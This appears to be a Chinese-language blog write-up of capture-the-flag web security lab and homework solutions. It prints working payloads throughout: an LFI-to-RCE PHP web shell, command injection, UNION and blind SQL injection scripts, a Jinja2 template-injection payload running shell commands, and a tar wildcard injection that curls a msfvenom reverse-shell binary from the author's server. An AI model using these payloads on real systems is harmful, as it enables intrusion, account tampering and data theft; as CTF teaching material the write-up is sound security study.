WEB-ST2022-Week1

Web

Week1

[LAB] Hello from Windows 98 [20]

1
2
3
4
5
題目大致上是給一個name他會跳轉到hi.php顯示出welcome

題目有提供source,發現如下code
<?php include($_GET['page']);?>
他會引入我們所提供的page,可以構造LFI

1
2
發現此網站有存在session
並且他會將使用者提供的name存入$_SESSION['name']中

1
2
3
解題思路
透過$_GET['name']傳入惡意php代碼,
再利用lfi 找出session檔案,因為他會顯示於php網頁,我們傳入的惡意php代碼也會被解析,就可以拿到rce
1
2
3
session file存在/tmp/sess_<我的seesionid>
構造語句
<?php system($_GET['a']); ?>

1
利用LFI訪問session檔案並成功獲取system($_GET['a'])返回的結果

  • FLAG
    1
    FLAG{LFI_t0_rC3_1s_e4Sy!}

[LAB] Whois Tool [20]

1
2
3
題目大致上是提供一個whois命令,輸入ip他即可返回whois後的結果。

此題很明顯的command injection

1
2
3
根據題目的source code,思路是直接將命令做閉合,即可注入命令。
構造語句如下:
";cat f*"

  • FLAG
    1
    FLAG{c0mM4nd_1nj3cT10n_';whoami}

[LAB] Normal Login Panel (Flag 1) [20]

1
2
3
4
5
6
7
8
題目給你一個登入頁面
先試著sqli

嘗試admin' order by 5--+ 找出欄位數
發現到5就會報錯,得知欄位數量為4

接著利用union select發現第四個欄位會顯示在頁面訊息上,經過測試得知是sqliteDB,查詢個版本驗證。
admin' union select 1,2,3,sqlite_version()--+

1
2
接著利用sql語句將欄位找出欄位名稱
admin' union select 1,2,3,sql from sqlite_master where type='table'--+

1
2
最後直接拿到密碼就是flag
admin' union select 1,2,3,password FROM users--+

  • FLAG
    1
    FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}

[LAB] Normal Login Panel (Flag 2) [20]

1
2
此題是延續上一題的LAB,可利用剛剛得到的密碼登入。
登入後會看到source code,觀察到ssti的點

1
2
3
如果輸了greet參數的話他會直接將我輸入的字元渲染到模板上
因此可以嘗試構造
username=admin&password=FLAG%7BUn10N_s31eCt%2F**%2FF14g_fR0m_s3cr3t%7D&greet={{7*7}}

1
2
確定有ssti注入
根據request判斷可能為jinja2/twig

1
2
3
4
5
6
7
8
9
10
11
12
13
透過魔法函數找到繼承object的class
在找到base基類在往下找他的derived class

在建構出可以使用的危險函數
利用"".__class__.__bases__[0].__subclasses__()
找出我們可以使用的class

主要是找
<class 'os._wrap_close'>
<class 'warnings.WarningMessage'>

這邊我選擇使用WarningMessage
因此寫一個python腳本去抓
  • ssti.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    import requests

    '''
    for i in enumerate("".__class__.__bases__[0].__subclasses__()):
    print(i)

    #payload
    username=admin&password=FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}&greet={{[].__class__.__base__.__subclasses__()[140]}}
    username=admin&password=FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}&greet={{[].__class__.__base__.__subclasses__()[206].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls+/").read()')}}
    '''

    url = "https://login.ctf.zoolab.org/"
    found = 0

    for i in range(1000):
    payload={
    'username': 'admin',
    'password': 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}',
    'greet': '{{[].__class__.__base__.__subclasses__()[' + str(i) +']}}'
    }
    r = requests.post(url=url,data=payload)
    print(r.text)
    if "WarningMessage" in r.text:
    print("payload is in: " + str(found))
    break

    found += 1

1
2
3
4
找到他的衍伸class之後我們即可利用__init__實例化把popen取出來做使用

payload:
{{[].__class__.__base__.__subclasses__()[206].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat+flag.txt").read()')}}

  • FLAG
    1
    FLAG{S1_fu_Q1_m0_b4N_zHU_ru}

[HW] PasteWeb (Flag 1) [125]

1
2
3
4
題目是一個登入介面

可以透過' or true--+ 與 ' or false--+ 測試出不同錯誤訊息
分別為Bad Hacker與Failed Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在此可以判對使用sql盲注
先運用length 來判斷對應長度
運用ascii(substr()) = ? 來判斷每個ascii字元
經過測試發現資料庫為postgresql

因此可以透過腳本先
找出資料表長度 並逐一判斷每個字元
再找出欄位長度 並找出欄位名稱
最後在dump出flag

將想法實踐在python腳本
因為登入框有使用時間戳,因此我使用selenium

爆出結果:
database = pastewebdb
table = s3cr3t_t4b1e
column = fl4g
  • exp.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    import requests
    import time
    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from bs4 import BeautifulSoup

    url = "http://edu-ctf.zoolab.org:10210/"
    session = requests.Session()

    result = ""
    timestamp = int(time.time())
    #data = "username=admin'OR 1=1--+&password=123123&current_time={}".format(timestamp)
    #r = session.post(url=url,data=data,allow_redirects=True)
    driver = webdriver.Chrome('./chromedriver')
    data_len = 0
    relname_len = 0

    for i in range(20):
    driver.get(url)
    username = "admin' or (select length(current_database())) = {}--+".format(i)
    password = "123123"

    driver.find_element(By.NAME,'username').send_keys(username)
    driver.find_element(By.NAME,'password').send_keys(password)
    driver.find_element(By.TAG_NAME,'button').click()
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    if "Bad" in soup.text:
    print("database_length: " + str(i))
    data_len=i
    break
    driver.refresh()

    #pastewebdb
    #database_name length
    for i in range(data_len+1):
    for j in range(32,129):
    driver.get(url)
    username = "admin' or (select ascii(substr(current_database(),{0},1))) = {1}--+".format(i,j)
    password = "123123"

    driver.find_element(By.NAME,'username').send_keys(username)
    driver.find_element(By.NAME,'password').send_keys(password)
    driver.find_element(By.TAG_NAME,'button').click()
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    if "Bad" in soup.text:
    result+=chr(j)
    print("database_name: " + result)
    break
    driver.refresh()


    #table_length
    #offset 1 -> 12
    for i in range(20):
    driver.get(url)
    username = "admin' or (select length(relname) from pg_stat_user_tables limit 1 OFFSET 1) = {0}--+".format(i)
    password = "123123"

    driver.find_element(By.NAME,'username').send_keys(username)
    driver.find_element(By.NAME,'password').send_keys(password)
    driver.find_element(By.TAG_NAME,'button').click()
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    if "Bad" in soup.text:
    relname_len = i
    print("relname_length: " + str(i))
    break
    driver.refresh()


    result = ""
    #s3cr3t_t4b1e
    for i in range(relname_len+1):
    for j in range(32,129):
    driver.get(url)
    username = "admin' or (select ascii(substr(relname,{0},1)) from pg_stat_user_tables limit 1 OFFSET 1) = {1}--+".format(i,j)
    password = "123123"

    driver.find_element(By.NAME,'username').send_keys(username)
    driver.find_element(By.NAME,'password').send_keys(password)
    driver.find_element(By.TAG_NAME,'button').click()
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    if "Bad" in soup.text:
    result+=chr(j)
    print("relname: " + result)
    break
    driver.refresh()


    #fl4g
    result = ""
    for i in range(1,100):
    for j in range(32,129):
    driver.get(url)
    username = "admin' or (select ascii(substr(column_name,{0},1)) from information_schema.columns where table_name='s3cr3t_t4b1e' limit 1 OFFSET 0) = {1}--+".format(i,j)
    password = "123123"

    driver.find_element(By.NAME,'username').send_keys(username)
    driver.find_element(By.NAME,'password').send_keys(password)
    driver.find_element(By.TAG_NAME,'button').click()
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    if "Bad" in soup.text:
    result+=chr(j)
    print("column_name: " + result)
    break
    driver.refresh()

    #FLAG{B1inD_SqL_IiIiiNj3cT10n}
    result = ""
    for i in range(1,100):
    for j in range(32,129):
    driver.get(url)
    username = "admin' or (select ascii(substr(fl4g,{0},1)) from s3cr3t_t4b1e) = {1}--+".format(i,j)
    password = "123123"

    driver.find_element(By.NAME,'username').send_keys(username)
    driver.find_element(By.NAME,'password').send_keys(password)
    driver.find_element(By.TAG_NAME,'button').click()
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    if "Bad" in soup.text:
    result+=chr(j)
    print("FLAG: " + result)
    if "}" in result:
    exit()
    break
    driver.refresh()
  • database

  • table & column

  • FLAG

    1
    FLAG{B1inD_SqL_IiIiiNj3cT10n}

[HW] PasteWeb(FLAG 2)

1
2
根據題目,可能需要拿到一組帳號密碼
直接利用上一題sql injection爆破出admin的密碼
  • table

  • column

1
2
3
最後爆破出密碼的md5
解密後為
P@ssw0rD

1
2
3
4
5
6
7
8
9
10
11
12
登入後發現可以修改css以及html,並且可以view
題目有說支援less
可以利用less的 data-uri 讀取外部檔案

Ex:
body {
content: data-uri('/etc/passwd');
}

我們就可以拿到任意檔案讀取
以為就可以這樣拿到source code的flag
結果...

1
2
意料之內,怎可能這麼簡單就讓我拿到FLAG~~
後來發現存在robots.txt

1
2
3
4
5
6
7
8
不出意外將網頁還原就可以拿到source code

利用git還原工具 GitHack
https://github.com/lijiejie/GitHack

思路為: 先利用less的data-uri將還原必要的檔案拿下來,在自己本地建構一個.git的目錄,並將拿回來的檔案丟進去,再用githack工具將原始碼還原。

githack腳本的邏輯很簡單: 拿到.git/index 解析 -> 去objects將檔案按原始目錄結構還原文件。
  • 解析.git/index

    1
    2
    3
    4
    5
    6
    7
    [*] objects/b1/d52f3b90279a6fae59195030943447c7c8977a
    [*] objects/2d/fb7f975434b786b30506a537fc318d494f374c
    [*] objects/19/092ed3c2ac784759968ba1609c3648bc365385
    [*] objects/46/82c0755761ff4e4724df9495f151212bebcf01
    [*] objects/b6/6e22d6d4a2a5b9b17ca66165485cf2c8cf8025
    [*] objects/61/b703a297c84d929ff7e23004b9a731c0fb8de6
    [*] objects/a3/60d0d06ebd2c52c1da71adc3b6e95fc838869a

  • 分別利用data-uri將個別的objects拉回來

    1
    2
    直接將拿到的base64 decode 並輸出成檔案
    有一些多的是我多拉的,一開始以為logs/HEAD裡面的資訊就是我要的..

    1
    base64 docode 輸出大致如下

  • 最後利用Githack對本機建立的webserver (裡面含有剛剛拉取回來的.git資料) 做還原

    1
    python2 GitHack.py http://127.0.0.1/.git/

  • 享受拿到FLAG的愉悅

    1
    2
    #index.php
    FLAG{a_l1tTl3_tRicKy_.git_L34k..or_D1d_y0u_f1nD_a_0Day_1n_lessphp?}

[HW] PasteWeb (Flag 3) [200]

1
2
3
4
第三題一樣是接續前兩題hw
但這次必須拿到RCE 執行根目錄的/readflag

首先先查看原始碼,在download.php中發現shell_exec命令執行函數
  • download.php

    1
    2
    3
    4
    5
    6
    7
    會把 sandbox/<md5 session> 下的檔案做壓縮並讓使用者下載
    仔細看tar指令使用*號將所有檔案壓縮
    這裡可以使用tar Wildcard Injection注入
    將檔案名稱命名為--checkpoint-action=exec=sh <filename> 與 --checkpoint=1
    讓他去跑每個檢查點並執行腳本
    所以可以利用editcss.php上傳自己命名的檔案,並利用注入來執行腳本
    最後reverse shell反連到我的vps
  • editcss.php

    1
    2
    這裡可以看到有檢查$_POST['theme']是否有被post
    如果有的話我們可以自定一個檔案名稱,但是結尾會被加上.css
  • 利用注入新增自己的一個使用者

    1
    2
    3
    4
    5
    ';insert into pasteweb_accounts (user_account, user_password) VALUES('skitroe','92d7ddd2a010c59511dc2905b7e14f64') RETURNING user_id--+

    #username and password
    skitroe && 1qaz@WSX
    跳出bad hacker代表成功
  • 登入後新增惡意檔案(shell.css && –checkpoint-action)

    1
    2
    這裡有遇到一個問題
    將--checkpoint=1上傳後,因為1後面會加上.css,會造成錯誤,因此省略這個檔案,但是必須將shell.css的檔案加大,一樣能使他觸發action。
  • shell.css

    1
    2
    3
    4
    上傳惡意腳本shell.css,利用burpsuite發送封包,並在結尾加上&theme=shell
    因為使用nc reverse shell並不成功
    因此利用msfvenom產出一個shell_reverse_tcp的elf檔案
    再利用curl下載並賦予執行權限然後執行,直接執行有時候會直接斷掉,所以我加了個sleep。
    1
    2
    3
    4
    5
    6
    less=`curl <我的vps ip>:1099/hihi -o mal`
    `chmod +x mal`
    `./mal`
    `sleep 10`
    body {
    payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...後省略};

  • 上傳–checkpoint-action=exec=sh shell.css

    1
    &theme=--checkpoint-action=exec=sh shell

  • vps產好reverse shell

    1
    msfvenom -p linux/x64/shell_reverse_tcp lhost=<vps ip> lport=1389 -f elf > hihi

  • vps http.server listen

    1
    python3 http.server 1099

  • vps nc listen get reverse shell

    1
    nc -lvnp 1389

  • 執行/readflag

    1
    ./readflag

  • FLAG

    1
    FLAG{aRgUm3nT_Inj3ct10n_2_RcE}

WEB-ST2022-Week1
https://0xbe61a55f.github.io/2022/12/27/WEB-ST2022-Week1/
作者
Giwawa
發布於
2022年12月27日
許可協議